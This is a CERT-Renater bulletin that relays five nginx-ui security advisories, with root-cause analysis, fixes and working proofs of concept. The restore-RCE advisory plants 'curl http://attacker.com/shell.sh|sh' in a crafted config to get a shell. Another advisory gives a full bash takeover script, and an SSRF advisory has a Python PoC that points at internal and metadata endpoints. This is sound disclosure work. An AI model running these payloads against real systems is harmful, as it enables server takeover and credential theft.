Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN449
_____________________________________________________________________

DATE                : 30/04/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running nginx-ui versions prior to 2.3.8.

=====================================================================
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h27v-ph7w-m9fp
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-mxqh-q9h6-v8pq
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-7jrr-xw9c-mj39
_____________________________________________________________________

Unauthenticated Remote Code Execution via Backup Restore in nginx-ui
Critical
0xJacky published GHSA-4pvg-prr3-9cxr Apr 27, 2026

Package
No package listed

Affected versions
< 2.3.8

Patched versions
2.3.8


Description

Product: nginx-ui
Repository: 0xJacky/nginx-ui (branch: dev)
Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection
Affected Component: POST /api/restore

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is
completely unauthenticated during the first 10 minutes after process
startup on any fresh installation. An unauthenticated remote attacker
can upload a crafted backup archive that overwrites the application's
configuration file (app.ini) and SQLite database. Because the attacker
controls the restored app.ini, they can inject an arbitrary OS command
into the TestConfigCmd setting. After the application automatically restarts
to apply the restored config, a single follow-up request triggers that
command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making
this exploitable not only on initial deployments but on any restart event
(container restart, upgrade, health-check-triggered restart).


2. Root Cause Analysis
2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

It calls AuthRequired() only when InstallLockStatus() || IsInstallTimeoutExceeded()
is true. Both conditions are false on a fresh install within the first 10 minutes: 4

    InstallLockStatus() returns false because JwtSecret is "" on a fresh install and
SkipInstallation defaults to false.
    IsInstallTimeoutExceeded() returns false for the first 10 minutes after
startupTime is set in init().

When both are false, authIfInstalled calls ctx.Next() with zero authentication.

2.3 The EncryptedForm Middleware Is Not a Security Barrier

The EncryptedForm() middleware between authIfInstalled and RestoreBackup is
optional — it only activates if the request includes an encrypted_params field.
If that field is absent, it calls c.Next() immediately: 5

An attacker sends a plain multipart/form-data request without encrypted_params
and the middleware is a no-op.

2.4 The Attacker Controls the AES Key Used to Verify the Backup

The restore handler accepts the AES key and IV directly from the attacker
via the security_token form field: 6

The manifest integrity check derives its HMAC signing key from the
attacker-supplied AES key: 7

Since the attacker crafts the backup and supplies the key, they can produce
a valid HMAC signature for any manifest content they choose. The integrity
check is self-referential and provides no security against a crafted backup.

2.5 Restore Overwrites app.ini and the SQLite Database Unconditionally

When restore_nginx_ui=true, restoreNginxUIConfig directly copies files from
the backup onto disk with no content validation: 8

2.6 Restored TestConfigCmd Is Executed as a Shell Command

After restore, risefront.Restart() is called, reloading app.ini: 9

On the next call to TestConfig(), the value of TestConfigCmd from the
restored app.ini is passed verbatim to /bin/sh -c: 10 11

3. Attack Prerequisites

Requirement                          Notes
Network access to nginx-ui port         Default: 9000/tcp
Target is a fresh install         JwtSecret is empty in app.ini
Within 10 minutes of last process start         Window resets on every restart
IP not blocked by IPWhiteList         Default config has no IP whitelist

The 10-minute window is not a meaningful mitigation in practice. Docker
containers restart frequently due to health checks, upgrades, and orchestrator
rescheduling. Any restart resets startupTime via init(), reopening the window.

4. Step-by-Step Proof of Concept
Step 1 — Confirm the installation window is open

GET /api/install HTTP/1.1
Host: target:9000

Expected response confirming vulnerability:

{"lock": false, "timeout": false}

Step 2 — Craft the malicious backup

The backup format (derived from internal/backup/backup.go) is:

backup-TIMESTAMP.zip          ← outer ZIP (unencrypted)
├── manifest.json             ← JSON manifest
├── manifest.sig              ← HMAC-SHA256 of manifest.json
├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP
└── nginx.zip                 ← AES-CBC encrypted inner ZIP

2a. Generate a random 32-byte AES key and 16-byte IV.

2b. Create the malicious app.ini to place inside nginx-ui.zip:

[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh

2c. Create a SQLite database (nginx-ui.db) with a known bcrypt hash for the admin
user (optional — the node secret alone grants full API access).

2d. Package app.ini and nginx-ui.db into nginx-ui.zip. Package an empty or minimal
nginx.zip.

2e. Encrypt both ZIPs with AES-256-CBC using your key and IV.

2f. Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build manifest.json:

{
  "schema": 1,
  "created_at": "20260421-120000",
  "version": "2.0.0",
  "files": [
    {"name": "nginx-ui.zip", "sha256": "<hash>", "size": <size>},
    {"name": "nginx.zip",    "sha256": "<hash>", "size": <size>}
  ]
}

2g. Compute the HMAC-SHA256 signature of manifest.json using the signing key derived as:

import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()

2h. Assemble the outer ZIP containing manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.
Step 3 — Upload the malicious backup (no authentication required)

POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--

Expected response (HTTP 200):

{"nginx_ui_restored": true, "nginx_restored": false, "hash_match": true}

nginx-ui calls risefront.Restart() 2 seconds later, loading the attacker's app.ini.
Step 4 — Trigger RCE using the restored node secret

After the restart (wait ~3 seconds):

POST /api/nginx/test HTTP/1.1
Host: target:9000
X-Node-Secret: attacker_chosen_node_secret

nginx-ui executes:

/bin/sh -c "curl http://attacker.com/shell.sh|sh"

The attacker now has a reverse shell running as the nginx-ui process user (typically root in Docker).
5. Impact

    Confidentiality: Full read access to all nginx configurations, TLS private keys,
database contents, and secrets stored in app.ini.
    Integrity: Arbitrary modification of all nginx configurations and nginx-ui application
state.
    Availability: Complete denial of service; nginx and nginx-ui can be stopped or
misconfigured.
    Scope: OS-level code execution. In Docker deployments (the primary distribution
method), nginx-ui runs as root, giving the attacker full host access if the container
has host mounts or privileged mode.


6. Affected Versions

All versions of nginx-ui where authIfInstalled is used as the sole authentication
guard on POST /api/restore. The vulnerability is present in the current dev branch.


7. Recommended Fix

Primary fix — Require authentication unconditionally on the restore endpoint. The
"allow restore during initial setup" design rationale does not justify
unauthenticated access to a file-write primitive:

// api/backup/router.go
func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", middleware.AuthRequired(), CreateBackup)
    r.POST("/restore", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)
}

If restore-during-setup is a required feature, it should be gated on a one-time
setup token generated at startup and printed to the server console (similar to
how Jenkins handles initial setup), not on a time window.

Secondary fix — Validate the content of restored app.ini before writing it to disk.
Specifically, TestConfigCmd, ReloadCmd, and RestartCmd should be rejected or
stripped from any externally-supplied backup.


8. Timeline
Date         Event

2026-04-21         Vulnerability identified via source code review
—         Vendor notification (pending)
—         CVE assignment (pending)

Citations

File: router/routers.go (L61-70)

        root := r.Group("/api", middleware.IPWhiteList())
        {
                public.InitRouter(root)
                crypto.InitPublicRouter(root)
                user.InitAuthRouter(root)
                license.InitRouter(root)

                system.InitPublicRouter(root)
                system.InitSelfCheckRouter(root)
                backup.InitRouter(root)

File: api/backup/router.go (L9-16)

// authIfInstalled requires auth if system is installed
func authIfInstalled(ctx *gin.Context) {
        if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {
                middleware.AuthRequired()(ctx)
        } else {
                ctx.Next()
        }
}

File: api/backup/router.go (L18-25)

func InitRouter(r *gin.RouterGroup) {
        // Backup always requires authentication (contains sensitive data)
        r.GET("/backup", middleware.AuthRequired(), CreateBackup)

        // Restore requires auth only after installation
        // This allows restoring backup during initial setup
        r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)
}

File: api/system/install.go (L27-34)

func InstallLockStatus() bool {
        return settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != ""
}

// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded
func IsInstallTimeoutExceeded() bool {
        return time.Since(startupTime) > 10*time.Minute
}

File: internal/middleware/encrypted_params.go (L69-75)

                // Check if encrypted_params field exists
                encryptedParams := c.Request.FormValue("encrypted_params")
                if encryptedParams == "" {
                        // No encryption, continue normally
                        c.Next()
                        return
                }

File: api/backup/restore.go (L35-70)

        securityToken := c.PostForm("security_token") // Get concatenated key and IV
        // Get backup file
        backupFile, err := c.FormFile("backup_file")
        if err != nil {
                cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))
                return
        }

        // Validate security token
        if securityToken == "" {
                cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
                return
        }

        // Split security token to get Key and IV
        parts := strings.Split(securityToken, ":")
        if len(parts) != 2 {
                cosy.ErrHandler(c, backup.ErrInvalidSecurityToken)
                return
        }

        aesKey := parts[0]
        aesIv := parts[1]

        // Decode Key and IV from base64
        key, err := base64.StdEncoding.DecodeString(aesKey)
        if err != nil {
                cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))
                return
        }

        iv, err := base64.StdEncoding.DecodeString(aesIv)
        if err != nil {
                cosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))
                return
        }

File: api/backup/restore.go (L126-132)

        if restoreNginxUI {
                go func() {
                        time.Sleep(2 * time.Second)
                        // gracefully restart
                        risefront.Restart()
                }()
        }

File: internal/backup/manifest.go (L156-163)

func deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {
        if len(aesKey) == 0 {
                return nil, ErrInvalidAESKey
        }

        sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))
        return sum[:], nil
}

File: internal/backup/restore.go (L458-484)

// restoreNginxUIConfig restores nginx-ui configuration files
func restoreNginxUIConfig(nginxUIBackupDir string) error {
        // Get config directory
        configDir := filepath.Dir(cosysettings.ConfPath)
        if configDir == "" {
                return ErrConfigPathEmpty
        }

        // Restore app.ini to the configured location
        srcConfigPath := filepath.Join(nginxUIBackupDir, "app.ini")
        if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {
                return err
        }

        // Restore database file if exists
        dbName := settings.DatabaseSettings.GetName()
        srcDBPath := filepath.Join(nginxUIBackupDir, dbName+".db")
        destDBPath := filepath.Join(configDir, dbName+".db")

        // Only attempt to copy if database file exists in backup
        if _, err := os.Stat(srcDBPath); err == nil {
                if err := copyFile(srcDBPath, destDBPath); err != nil {
                        return err
                }
        }

        return nil

File: internal/nginx/nginx.go (L25-36)

func TestConfig() (stdOut string, stdErr error) {
        mutex.Lock()
        defer mutex.Unlock()
        if settings.NginxSettings.TestConfigCmd != "" {
                return execShell(settings.NginxSettings.TestConfigCmd)
        }
        sbin := GetSbinPath()
        if sbin == "" {
                return execCommand("nginx", "-t")
        }
        return execCommand(sbin, "-t")
}

File: internal/nginx/exec.go (L12-28)

func execShell(cmd string) (stdOut string, stdErr error) {
        var execCmd *exec.Cmd

        if runtime.GOOS == "windows" {
                execCmd = exec.Command("cmd", "/c", cmd)
        } else {
                execCmd = exec.Command("/bin/sh", "-c", cmd)
        }

        execCmd.Dir = GetNginxExeDir()
        bytes, err := execCmd.CombinedOutput()
        stdOut = string(bytes)
        if err != nil {
                stdErr = err
        }
        return
}

Severity
Critical
9.0/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID
CVE-2026-42238

Weaknesses
Weakness CWE-94

Credits

    @captain99hook captain99hook Reporter

_____________________________________________________________________


Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware Allows
Access to Internal Services
High
0xJacky published GHSA-wr32-99hh-6f35 Apr 22, 2026

Package
github.com/0xJacky/nginx-ui (Go)

Affected versions
<= 2.3.4

Patched versions
None


Description

Summary

An authenticated user can perform Server-Side Request Forgery (SSRF)
by creating a cluster node pointing to an arbitrary internal URL and
then sending API requests with the X-Node-ID header. The Proxy
middleware forwards these requests to the attacker-specified internal
address, bypassing network segmentation and enabling access to services
bound to localhost or internal networks.

Details

The nginx-ui Proxy middleware (internal/middleware/proxy.go) intercepts
API requests containing an X-Node-ID header and forwards them to the URL
of the corresponding cluster node. An attacker can:

    Read the node_secret from GET /api/settings (accessible to any
authenticated user)
    Create a cluster node via POST /api/nodes pointing to any internal
URL:

{
    "name": "ssrf_node",
    "url": "http://127.0.0.1:51820",
    "token": "<node_secret>",
    "enabled": true
}

    Send any API request with the X-Node-ID header set to the created node's ID:

GET /api/settings HTTP/1.1
Authorization: <token>
X-Node-ID: 1

    The Proxy middleware forwards this request to
http://127.0.0.1:51820/api/settings, making a server-side request to
the internal address.

Vulnerable code path:

    internal/middleware/proxy.go — Proxy(): no validation of the node URL;
allows 127.0.0.1, localhost, internal IPs, cloud metadata endpoints, etc.

The node URL is not restricted to external addresses or validated against
an allowlist. Combined with the njs Code Injection vulnerability (separate
advisory), this SSRF is used to trigger the njs payload executing on an
internal-only nginx port, completing the RCE chain.

PoC

import requests

BASE = "http://TARGET:9000"
TOKEN = "<authenticated_jwt_token>"
HDR = {"Authorization": TOKEN}

# Step 1: Get node_secret
settings = requests.get(f"{BASE}/api/settings", headers=HDR).json()
node_secret = settings["node"]["secret"]

# Step 2: Create SSRF node pointing to internal service
resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={
    "name": "ssrf",
    "url": "http://127.0.0.1:51820",  # internal-only port
    "token": node_secret,
    "enabled": True,
})
node_id = resp.json()["id"]

# Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings
resp = requests.get(
    f"{BASE}/api/settings",
    headers={**HDR, "X-Node-ID": str(node_id)},
)
print(resp.status_code, resp.text[:200])
# Response comes from the INTERNAL service, not nginx-ui

This can also target cloud metadata endpoints
(e.g., http://169.254.169.254/latest/meta-data/) or any other internal
service.


Impact

An authenticated attacker can:

    Access internal services bound to localhost or private networks that
are not intended to be externally reachable
    Access cloud metadata endpoints (AWS/GCP/Azure instance metadata) to
steal IAM credentials
    Port-scan internal networks by creating nodes pointing to different
internal IPs/ports
    Trigger internal-only njs endpoints to escalate privileges (as
demonstrated in the companion RCE advisory)
    Bypass network segmentation and firewalls that only restrict
inbound traffic


Severity
High
8.5/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-918

Credits

    @miffyaa miffyaa Reporter

_____________________________________________________________________


Unauthenticated First-Run Installer Allows Remote Initial Admin Claim
High
0xJacky published GHSA-h27v-ph7w-m9fp Apr 27, 2026
Package
github.com/0xJacky/Nginx-UI (Go)

Affected versions
>= 2.0.0, <= 2.3.5

Patched versions
v2.3.8


Description

Summary

An unauthenticated network attacker can claim the initial administrator
account on a fresh nginx-ui instance during the first-run setup window.
The public /api/install endpoint is reachable without authentication,
and the request-encryption flow only protects payload confidentiality in
transit; it does not authenticate who is allowed to perform installation.
A remote attacker who reaches the service before the legitimate operator
can set the admin email, username, and password, causing permanent
initial-instance takeover.


Details

The vulnerable route is exposed publicly through the main API
router. router/routers.go:61-70 mounts system.InitPublicRouter(root)
under /api, and api/system/router.go:16-19 registers both
GET /api/install and POST /api/install without AuthRequired().

The install handler only checks whether the instance is already installed and
whether more than ten minutes have elapsed since
startup. api/system/install.go:26-33 treats the instance as uninstalled when
JwtSecret is empty and SkipInstallation is false. api/system/install.go:56-69
rejects requests only if installation has already happened or the ten-minute
window has expired.

If those checks pass, the unauthenticated caller controls the initialization
flow. api/system/install.go:77-81 generates and saves the JWT secret, node
secret, and certificate email from attacker-controlled input, and
api/system/install.go:93-97 overwrites user ID 1 with the attacker-chosen
username and password hash. internal/kernel/init_user.go:15-22 guarantees
that privileged user ID 1 exists ahead of time, so there is always an
account to claim.

The public-key bootstrap does not add authentication. api/crypto/router.go:5-9
exposes POST /api/crypto/public_key publicly, api/crypto/crypto.go:12-32
returns a server public key to any caller, internal/crypto/crypto.go:44-61
stores a shared keypair in cache, and internal/middleware/encrypted_params.go:25-50
only decrypts encrypted_params before passing the request to the install
handler. No request ID, local-only restriction, bootstrap secret, or prior
trust check is enforced.

This was verified locally in an isolated lab instance. A fresh instance
returned {"lock":false,"timeout":false}, an unauthenticated POST /api/install
returned {"message":"ok"}, the instance then flipped to {"lock":true,"timeout":false},
and the on-disk SQLite database showed user ID 1 renamed to the
attacker-controlled username with a non-empty password hash.
PoC

The quickest local verification path is the helper script created during
validation:

ATTACKER_EMAIL='attacker@example.com' ATTACKER_USER='attacker' ATTACKER_PASS='Password12345' \
'/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/output/verify/verify_fresh_install_takeover.sh'

Expected proof points:

[1/6] Fresh-instance status:
{
  "lock": false,
  "timeout": false
}

[3/6] Claiming the initial administrator account...
{
  "message": "ok"
}

[4/6] Verifying install is now locked...
{
  "lock": true,
  "timeout": false
}

[5/6] Verifying the on-disk admin record was overwritten...
{
  "id": 1,
  "name": "attacker",
  "password_len": 60
}

To confirm the final state manually:

sqlite3 '/Users/r1zzg0d/Documents/CVE hunting/targets/nginx-ui/tmp/poc-install-takeover/database.db' \
'select id,name,length(password) from users where id=1;'

Expected output:

1|attacker|60

Manual HTTP reproduction is also straightforward:

    Request GET /api/install and confirm lock=false and timeout=false.
    Request POST /api/crypto/public_key to obtain the public RSA key.
    Encrypt {"email":"attacker@example.com","username":"attacker","password":"Password12345"}
with that public key and base64-encode the ciphertext.
    Submit the ciphertext to POST /api/install as {"encrypted_params":"..."}.
    Re-request GET /api/install and observe that lock=true.
    Inspect the backing database and confirm user ID 1 now belongs to the attacker-controlled username.

Impact

This is an authentication bypass / initial admin claim vulnerability
affecting fresh, uninitialized instances that are reachable over the
network during the installation window. Any attacker able to reach the
service before the legitimate operator can permanently take ownership of
the first administrator account and thereby seize control of the
application. Because nginx-ui is an administrative interface for Nginx
and related host-management features, compromise of the initial admin
account can lead to unauthorized configuration changes, certificate
management abuse, backup manipulation, service disruption, and broader
operational takeover of the managed environment.


Remediation

    Require a single-use bootstrap secret for installation. Generate the
token locally on first start, print it only to the server console or write
it to a root-owned local file, and require it on POST /api/install.
    Restrict installation endpoints to loopback by default until setup
completes. Remote setup should require an explicit opt-in configuration
flag, not be enabled automatically on all interfaces.
    Make installer claim atomic and explicitly stateful. Persist a
dedicated installation state record, consume the bootstrap token exactly
once, and refuse concurrent or repeated initialization attempts even
within the startup window.


Severity
High
8.1/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2026-42221

Weaknesses
Weakness CWE-306

Credits

    @R1ZZG0D R1ZZG0D Reporter

_____________________________________________________________________


Unauthenticated first-boot instance claim via POST /api/install allows
remote bootstrap takeover

High
0xJacky published GHSA-mxqh-q9h6-v8pq Apr 27, 2026

Package
nginx-ui (Go)

Affected versions
2.3.5

Patched versions
None


Description

Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial
installation window exposed by POST /api/install.

When the instance is still uninitialized, POST /api/install is reachable
without authentication and accepts attacker-controlled bootstrap data. The
handler sets the application's JWT secret, the node secret, the certificate
email, and the initial administrator username and password. This allows an
attacker who can reach a fresh instance during the initial 10-minute setup
window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is
narrower: the target must still be in its first-run state and still be
within the initial setup window. In practice, this makes the issue most
relevant during initial deployment, rebuilds, ephemeral test environments,
LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh
instance.1

This was reproduced over HTTP against live local instances started from
nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).


Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance
during the initial installation window.

The practical exposure window is limited, but the impact inside that window
is complete administrative takeover. An attacker does not need to guess
defaults or exploit an authenticated feature; they become the first
administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

    confirm that the target was still uninitialized
    submit attacker-chosen bootstrap credentials
    lock the installation under attacker control
    immediately authenticate as the newly set administrator

Observed values during live reproduction included:

INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust
material, this is more severe than a simple default-admin issue. An attacker
does not merely guess credentials; they define the initial administrator
account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without
relying on any repository-local helper script. It requires only bash, curl,
and openssl.

Standalone PoC:

#!/usr/bin/env bash
set -euo pipefail

base_url="http://127.0.0.1:9000"
email="poc2@nginxui.test"
username="pocverify2"
password="Passw0rd123"

tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT

install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"

key_json="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
  "${base_url}/api/crypto/public_key")"

key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
  | openssl base64 -A
)"

install_post="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_install}\"}" \
  "${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"

install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"

printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
  openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
  | openssl base64 -A
)"

login_response="$(curl -fsS \
  -H 'Content-Type: application/json' \
  --data "{\"encrypted_params\":\"${encrypted_login}\"}" \
  "${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"

Observed output during live verification:

INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

    Start a fresh local nginx-ui v2.3.5 instance from the tested Docker
image digest with empty /etc/nginx and /etc/nginx-ui directories.

mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \
  -v "$PWD/.tmp/poc-nginx:/etc/nginx" \
  -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \
  uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

    Save the standalone PoC above as a shell script and execute it against
the internal HTTP listener, or run the equivalent commands directly inside
the container with:

docker exec -it nginx-ui-poc bash

Then set base_url to http://127.0.0.1:9000 and run the standalone PoC.

    Observe the output.

Actual result:

    GET /api/install returns {"lock":false,"timeout":false}
    POST /api/install returns {"message":"ok"}
    a follow-up GET /api/install returns {"lock":true,"timeout":false}
    POST /api/login succeeds with the attacker-chosen username and password
and returns a valid token

Expected result:

    arbitrary remote clients should never be able to complete bootstrap
without a host-local or out-of-band secret
    POST /api/install should be rejected unless the request carries a
valid host-local or out-of-band bootstrap authorization factor
    attacker-chosen bootstrap credentials and application secrets should
never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

    Remove remote unauthenticated installation as a security boundary.
Do not rely on a 10-minute time window for protection.

    Require a local-only or out-of-band bootstrap secret for POST /api/install,
for example:

    generate a one-time setup token at startup
    print or store it locally on the host
    require that token to complete initialization

    Bind initial setup to loopback by default, or otherwise explicitly
restrict first-run setup to trusted local access paths.

    Remove the pre-install unauthenticated exception from other sensitive
setup-adjacent routes such as /api/self_check and /api/restore.

    As defense in depth, narrow CORS on setup endpoints. POST /api/install
should not be callable cross-origin by arbitrary websites.

    Add regression tests covering:

    unauthenticated remote POST /api/install being rejected by default
    no installation claim without a valid bootstrap secret
    /api/self_check and /api/restore requiring authentication
    no cross-origin installation via browser preflight and JSON POST

Footnotes

    In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: *.
That may enable browser-assisted exploitation in some deployment layouts,
but it is not required for exploitation and is not the primary path. ↩


Severity
High
8.1/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID
CVE-2026-42222

Weaknesses
Weakness CWE-284
Weakness CWE-306

Credits

    @Kakeru-Ishii Kakeru-Ishii Reporter

_____________________________________________________________________

Authenticated settings disclosure exposes node.secret and enables
trusted-node authentication abuse, backup exfiltration, and
restore-based nginx-ui state rollback

Moderate
0xJacky published GHSA-7jrr-xw9c-mj39 Apr 27, 2026

Package
nginx-ui (Go)

Affected versions
<= v2.3.6

Patched versions
2.3.8


Description

Summary

An authenticated user can call GET /api/settings and retrieve
sensitive configuration values, including node.secret. The same
node.secret is accepted by AuthRequired() through the X-Node-Secret
header (or node_secret query parameter), causing the request to be
treated as authenticated via the trusted-node path and associated
with the init user.

In my local reproduction on v2.3.6, GET /api/settings also returned
app.jwt_secret. After extracting node.secret, I was able to access
GET /api/backup using only X-Node-Secret, download a full backup
archive, and obtain the X-Backup-Security response header containing
the backup decryption material (AESKey:AESIv).

I also confirmed that the disclosed node.secret is sufficient to reach
the restore workflow on an installed instance. Using only X-Node-Secret,
a valid backup archive, and its matching X-Backup-Security token, I
successfully invoked POST /api/restore. In a follow-up rollback test, I
changed node.name to rollback-poc-B, then restored a previously captured
backup and observed the value revert to its original state. This extends
the issue beyond secret disclosure and backup exfiltration into confirmed
integrity impact through restore-based rollback of nginx-ui
state/configuration.

This breaks the trust boundary between ordinary user-authenticated API
access and the internal node-authentication mechanism, and results in
sensitive configuration disclosure, alternate-authentication abuse, backup
exfiltration with decryption material, and confirmed restore-based
rollback of nginx-ui state.


Details

Vulnerable code / related files and functions

1) Route exposure and insufficient protection on the read path

File: api/settings/router.go

Relevant function: InitRouter

The settings router exposes the following endpoints:

GET /api/settings/server/name → GetServerName
GET /api/settings → GetSettings
POST /api/settings → RequireSecureSession(), SaveSettings

The key issue is that the read path (GET /api/settings) is only
protected by the generic authentication middleware, while the write
path (POST /api/settings) has an additional RequireSecureSession()
check. This makes the read path a much easier place to leak sensitive
configuration data than the write path.

r.GET("settings/server/name", GetServerName)
r.GET("settings", GetSettings)
r.POST("settings", middleware.RequireSecureSession(), SaveSettings)

2) Sensitive data is disclosed by GetSettings

File: api/settings/settings.go

Relevant functions: GetSettings, SaveSettings

GetSettings returns multiple configuration objects directly in the
JSON response, including app, server, database, auth, casdoor, oidc,
cert, http, logrotate, nginx, node, openai, terminal, and webauthn.
In other words, the handler does not use a redacted DTO for
user-facing output; it serializes the live settings objects directly.

c.JSON(http.StatusOK, gin.H{
  "app":       cSettings.AppSettings,
  "server":    cSettings.ServerSettings,
  "database":  settings.DatabaseSettings,
  "auth":      settings.AuthSettings,
  "casdoor":   settings.CasdoorSettings,
  "oidc":      settings.OIDCSettings,
  "cert":      settings.CertSettings,
  "http":      settings.HTTPSettings,
  "logrotate": settings.LogrotateSettings,
  "nginx":     settings.NginxSettings,
  "node":      settings.NodeSettings,
  "openai":    settings.OpenAISettings,
  "terminal":  settings.TerminalSettings,
  "webauthn":  settings.WebAuthnSettings,
})

In my local reproduction on v2.3.6, this response exposed both:

node.secret
app.jwt_secret

This makes GetSettings the direct disclosure source for the vulnerability.

3) The disclosed value is explicitly defined as protected/sensitive

File: settings/node.go

Relevant object: type Node

